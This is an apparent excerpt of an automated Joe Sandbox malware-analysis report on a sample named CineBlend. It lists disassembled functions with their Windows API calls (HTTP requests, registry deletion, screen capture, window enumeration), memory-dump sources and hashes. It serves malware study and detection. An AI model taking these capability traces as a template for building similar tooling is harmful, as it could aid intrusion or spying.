                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
                                  • String ID: GetModuleHandleExW$kernel32.dll
                                  • API String ID: 354098117-199464113
                                  • Opcode ID: 7d2b1558a0d9fccbfd783ea14f13a1e79f966ccf64e3b3a50215f8ded829646f
                                  • Instruction ID: b7e21b749df6c0f2c3dc19ad3ad7426bee7c3cec1bc90c51cc18f3d2df297300
                                  • Opcode Fuzzy Hash: 7d2b1558a0d9fccbfd783ea14f13a1e79f966ccf64e3b3a50215f8ded829646f
                                  • Instruction Fuzzy Hash: 7A12F975A00115AFDB14DF94C884EBEBBF5FF49314F248098E909AB252DB71ED46CBA0
                                  Function 00B3381F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetMenuItemCount.USER32(00C029C0), ref: 00B73F72
                                  • GetMenuItemCount.USER32(00C029C0), ref: 00B74022
                                  • GetCursorPos.USER32(?), ref: 00B74066
                                  • SetForegroundWindow.USER32(00000000), ref: 00B7406F
                                  • TrackPopupMenuEx.USER32(00C029C0,00000000,?,00000000,00000000,00000000), ref: 00B74082
                                  • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00B7408E
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
                                  • String ID: 0
                                  • API String ID: 36266755-4108050209
                                  • Opcode ID: 32bff75336e6d6476e237f473d8360138474c78426c7c431f748ea55afd91da6
                                  • Instruction ID: a55510547baa4cd3db28cae91d3cac8199a80e6d8eeed1458077b689c1b70199
                                  • Opcode Fuzzy Hash: 32bff75336e6d6476e237f473d8360138474c78426c7c431f748ea55afd91da6
                                  • Instruction Fuzzy Hash: 76710930645205BFEB219F29DC89FAABFE8FF04B64F204295F628AA1E0C7719950D750
                                  Function 00BC7711 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • DestroyWindow.USER32(00000000,?), ref: 00BC7823
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00BC7897
                                  • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00BC78B9
                                  • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BC78CC
                                  • DestroyWindow.USER32(?), ref: 00BC78ED
                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00B30000,00000000), ref: 00BC791C
                                  • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BC7935
                                  • GetDesktopWindow.USER32 ref: 00BC794E
                                  • GetWindowRect.USER32(00000000), ref: 00BC7955
                                  • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00BC796D
                                  • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00BC7985
                                    • Part of subcall function 00B32234: GetWindowLongW.USER32(?,000000EB), ref: 00B32242
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
                                  • String ID: 0$tooltips_class32
                                  • API String ID: 2429346358-3619404913
                                  • Opcode ID: 4b268fda2e10dd08593bd1038cd18ddb8a01910f6ef260dbdc9b5869ecf73086
                                  • Instruction ID: 8c7ea1059bc185d834d6fc908454f2b1f55a6580d884b1a20c30ca6306f252a5
                                  • Opcode Fuzzy Hash: 4b268fda2e10dd08593bd1038cd18ddb8a01910f6ef260dbdc9b5869ecf73086
                                  • Instruction Fuzzy Hash: A3717874148245AFD725CF18CC48F6ABBE9FB89304F1444AEF98587261CBB0E946CF22
                                  Function 00BC9B7A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                  • DragQueryPoint.SHELL32(?,?), ref: 00BC9BA3
                                    • Part of subcall function 00BC80AE: ClientToScreen.USER32(?,?), ref: 00BC80D4
                                    • Part of subcall function 00BC80AE: GetWindowRect.USER32(?,?), ref: 00BC814A
                                    • Part of subcall function 00BC80AE: PtInRect.USER32(?,?,?), ref: 00BC815A
                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00BC9C0C
                                  • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00BC9C17
                                  • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00BC9C3A
                                  • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00BC9C81
                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00BC9C9A
                                  • SendMessageW.USER32(?,000000B1,?,?), ref: 00BC9CB1
                                  • SendMessageW.USER32(?,000000B1,?,?), ref: 00BC9CD3
                                  • DragFinish.SHELL32(?), ref: 00BC9CDA
                                  • DefDlgProcW.USER32(?,00000233,?,00000000), ref: 00BC9DCD
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
                                  • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                  • API String ID: 221274066-3440237614
                                  • Opcode ID: 22715876c1c7de507a56655b957b2e692075a905261084bd147f901fd9bf2f95
                                  • Instruction ID: 677226297d610bf6257660a9adbdf131c8fc2d9e647426ca0af8da5f14d81a46
                                  • Opcode Fuzzy Hash: 22715876c1c7de507a56655b957b2e692075a905261084bd147f901fd9bf2f95
                                  • Instruction Fuzzy Hash: 09616B71108305AFD705EF50CC89EAFBBE8EF88750F50096EF691931A1DB709A49CB52
                                  Function 00BACEBB Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00BACEF5
                                  • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00BACF08
                                  • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00BACF1C
                                  • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00BACF35
                                  • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00BACF78
                                  • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00BACF8E
                                  • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BACF99
                                  • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00BACFC9
                                  • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00BAD021
                                  • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00BAD035
                                  • InternetCloseHandle.WININET(00000000), ref: 00BAD040
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
                                  • String ID:
                                  • API String ID: 3800310941-3916222277
                                  • Opcode ID: 22b59911ec45245a5c0a25ea3d4e78aff5a2b9ca641588a932b2eb502465b9db
                                  • Instruction ID: c5c37d13509554bc374ba4297b3e18f660ee9f5c7c85a428e1558940ab354278
                                  • Opcode Fuzzy Hash: 22b59911ec45245a5c0a25ea3d4e78aff5a2b9ca641588a932b2eb502465b9db
                                  • Instruction Fuzzy Hash: 6F517CB5504608BFDB219F60C888EAB7BFCFF0A744F00446AF94697610DB35DD49ABA0
                                  Function 00BC8FCB Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00BC66D6,?,?), ref: 00BC8FEE
                                  • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00BC66D6,?,?,00000000,?), ref: 00BC8FFE
                                  • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00BC66D6,?,?,00000000,?), ref: 00BC9009
                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,00BC66D6,?,?,00000000,?), ref: 00BC9016
                                  • GlobalLock.KERNEL32(00000000), ref: 00BC9024
                                  • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00BC66D6,?,?,00000000,?), ref: 00BC9033
                                  • GlobalUnlock.KERNEL32(00000000), ref: 00BC903C
                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,00BC66D6,?,?,00000000,?), ref: 00BC9043
                                  • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00BC66D6,?,?,00000000,?), ref: 00BC9054
                                  • OleLoadPicture.OLEAUT32(?,00000000,00000000,00BD0C04,?), ref: 00BC906D
                                  • GlobalFree.KERNEL32(00000000), ref: 00BC907D
                                  • GetObjectW.GDI32(00000000,00000018,?), ref: 00BC909D
                                  • CopyImage.USER32(00000000,00000000,00000000,?,00002000), ref: 00BC90CD
                                  • DeleteObject.GDI32(00000000), ref: 00BC90F5
                                  • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00BC910B
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                  • String ID:
                                  • API String ID: 3840717409-0
                                  • Opcode ID: 05c1d5fe8b94746f77325a6381ba13d2974712bfb97158e3185336c8136a7f2b
                                  • Instruction ID: c14904fe00910e92eae64750e43827670932c80289c98db53087c2555f3a615b
                                  • Opcode Fuzzy Hash: 05c1d5fe8b94746f77325a6381ba13d2974712bfb97158e3185336c8136a7f2b
                                  • Instruction Fuzzy Hash: 3A41F879600208BFDB119F65DC8CEAABBB9FF89711F144069F915EB260DB709941DB20
                                  Function 00BBC06E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00BBD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BBC10E,?,?), ref: 00BBD415
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD451
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4C8
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4FE
                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BBC154
                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BBC1D2
                                  • RegDeleteValueW.ADVAPI32(?,?), ref: 00BBC26A
                                  • RegCloseKey.ADVAPI32(?), ref: 00BBC2DE
                                  • RegCloseKey.ADVAPI32(?), ref: 00BBC2FC
                                  • LoadLibraryA.KERNEL32(advapi32.dll), ref: 00BBC352
                                  • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00BBC364
                                  • RegDeleteKeyW.ADVAPI32(?,?), ref: 00BBC382
                                  • FreeLibrary.KERNEL32(00000000), ref: 00BBC3E3
                                  • RegCloseKey.ADVAPI32(00000000), ref: 00BBC3F4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
                                  • String ID: RegDeleteKeyExW$advapi32.dll
                                  • API String ID: 146587525-4033151799
                                  • Opcode ID: b794e6778dee835d45923b6fd127fe526be086cfd92c580d934f320ca69db5e3
                                  • Instruction ID: a14a48432a384e65505c453edb754401d0df72f043f277d9e3431479bcf328f3
                                  • Opcode Fuzzy Hash: b794e6778dee835d45923b6fd127fe526be086cfd92c580d934f320ca69db5e3
                                  • Instruction Fuzzy Hash: 54C17D74204201AFD710DF28C495F6ABBE1FF84314F64849CF46A9B2A2CBB5ED46CB91
                                  Function 00BB2FB9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetDC.USER32(00000000), ref: 00BB3035
                                  • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00BB3045
                                  • CreateCompatibleDC.GDI32(?), ref: 00BB3051
                                  • SelectObject.GDI32(00000000,?), ref: 00BB305E
                                  • StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00BB30CA
                                  • GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00BB3109
                                  • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00BB312D
                                  • SelectObject.GDI32(?,?), ref: 00BB3135
                                  • DeleteObject.GDI32(?), ref: 00BB313E
                                  • DeleteDC.GDI32(?), ref: 00BB3145
                                  • ReleaseDC.USER32(00000000,?), ref: 00BB3150
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                  • String ID: (
                                  • API String ID: 2598888154-3887548279
                                  • Opcode ID: a8f202f0c42c22d17146b994f503b3747c32536672570a88c7403f4c268f0d92
                                  • Instruction ID: 0ae145e89d838fc1ccdf348ebb9174ae4678e4d069781d364100e2f984da7f07
                                  • Opcode Fuzzy Hash: a8f202f0c42c22d17146b994f503b3747c32536672570a88c7403f4c268f0d92
                                  • Instruction Fuzzy Hash: A661F1B5D00219AFCB04CFA8D884EAEBBF5FF48710F208569E955A7210D771AA41CFA0
                                  Function 00B6DDDD Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • ___free_lconv_mon.LIBCMT ref: 00B6DE21
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6D9D9
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6D9EB
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6D9FD
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA0F
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA21
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA33
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA45
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA57
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA69
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA7B
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA8D
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DA9F
                                    • Part of subcall function 00B6D9BC: _free.LIBCMT ref: 00B6DAB1
                                  • _free.LIBCMT ref: 00B6DE16
                                    • Part of subcall function 00B62D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?), ref: 00B62D4E
                                    • Part of subcall function 00B62D38: GetLastError.KERNEL32(?,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?,?), ref: 00B62D60
                                  • _free.LIBCMT ref: 00B6DE38
                                  • _free.LIBCMT ref: 00B6DE4D
                                  • _free.LIBCMT ref: 00B6DE58
                                  • _free.LIBCMT ref: 00B6DE7A
                                  • _free.LIBCMT ref: 00B6DE8D
                                  • _free.LIBCMT ref: 00B6DE9B
                                  • _free.LIBCMT ref: 00B6DEA6
                                  • _free.LIBCMT ref: 00B6DEDE
                                  • _free.LIBCMT ref: 00B6DEE5
                                  • _free.LIBCMT ref: 00B6DF02
                                  • _free.LIBCMT ref: 00B6DF1A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                  • String ID:
                                  • API String ID: 161543041-0
                                  • Opcode ID: 65ec30fa1014301c04099e8dbf5ab6857a6ec14765433f4c79bc518daddd2d22
                                  • Instruction ID: d19c9d610d800e3f54673c8b0d6fe4f63df2781711febca3ba6d5f615f89d665
                                  • Opcode Fuzzy Hash: 65ec30fa1014301c04099e8dbf5ab6857a6ec14765433f4c79bc518daddd2d22
                                  • Instruction Fuzzy Hash: C9315C32B007059FEF21AB38D845B5A73E9EF21350F1448E9E459DB191DF7AAC40CB20
                                  Function 00BCA94F Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 271windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                  • GetSystemMetrics.USER32(0000000F), ref: 00BCA990
                                  • GetSystemMetrics.USER32(00000011), ref: 00BCA9A7
                                  • GetSystemMetrics.USER32(00000004), ref: 00BCA9B3
                                  • GetSystemMetrics.USER32(0000000F), ref: 00BCA9C9
                                  • MoveWindow.USER32(00000003,?,?,00000001,?,00000000,?,00000000,?,00000000), ref: 00BCAC15
                                  • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00BCAC33
                                  • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00BCAC54
                                  • ShowWindow.USER32(00000003,00000000), ref: 00BCAC73
                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00BCAC95
                                  • DefDlgProcW.USER32(?,00000005,?), ref: 00BCACBB
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MetricsSystem$Window$MessageSend$InvalidateLongMoveProcRectShow
                                  • String ID: @
                                  • API String ID: 3962739598-2766056989
                                  • Opcode ID: c2d73806b26c9cda5709508d5bee9be3393db76f4d6e6896169ab5a993421ee1
                                  • Instruction ID: 2b39c23be5f9dc1e76e8dc4cecfa63dbc45129de0939fe4162db77949025af4f
                                  • Opcode Fuzzy Hash: c2d73806b26c9cda5709508d5bee9be3393db76f4d6e6896169ab5a993421ee1
                                  • Instruction Fuzzy Hash: B1B16835600219DFDF14CF68C989BAE7BF2FF44708F1580A9ED49AB295DB70A980CB51
                                  Function 00B952AA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 259COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetClassNameW.USER32(?,?,00000400), ref: 00B952E6
                                  • GetWindowTextW.USER32(?,?,00000400), ref: 00B95328
                                  • _wcslen.LIBCMT ref: 00B95339
                                  • CharUpperBuffW.USER32(?,00000000), ref: 00B95345
                                  • _wcsstr.LIBVCRUNTIME ref: 00B9537A
                                  • GetClassNameW.USER32(00000018,?,00000400), ref: 00B953B2
                                  • GetWindowTextW.USER32(?,?,00000400), ref: 00B953EB
                                  • GetClassNameW.USER32(00000018,?,00000400), ref: 00B95445
                                  • GetClassNameW.USER32(?,?,00000400), ref: 00B95477
                                  • GetWindowRect.USER32(?,?), ref: 00B954EF
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
                                  • String ID: ThumbnailClass
                                  • API String ID: 1311036022-1241985126
                                  • Opcode ID: 460079a1ab7323b5a65493751132cde8f36ce282675f9c4f8940530252682166
                                  • Instruction ID: 2933973d4906e24297ebbf80669f3a537ce6650c1407a3a041ecc5b314abe225
                                  • Opcode Fuzzy Hash: 460079a1ab7323b5a65493751132cde8f36ce282675f9c4f8940530252682166
                                  • Instruction Fuzzy Hash: A891F471144B06AFDB26CF24C891FAAB7E9FF14300F1045B9FA8A82191EB31ED55CB91
                                  Function 00BC976A Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                  • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00BC97B6
                                  • GetFocus.USER32 ref: 00BC97C6
                                  • GetDlgCtrlID.USER32(00000000), ref: 00BC97D1
                                  • DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?), ref: 00BC9879
                                  • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00BC992B
                                  • GetMenuItemCount.USER32(?), ref: 00BC9948
                                  • GetMenuItemID.USER32(?,00000000), ref: 00BC9958
                                  • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00BC998A
                                  • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00BC99CC
                                  • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00BC99FD
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
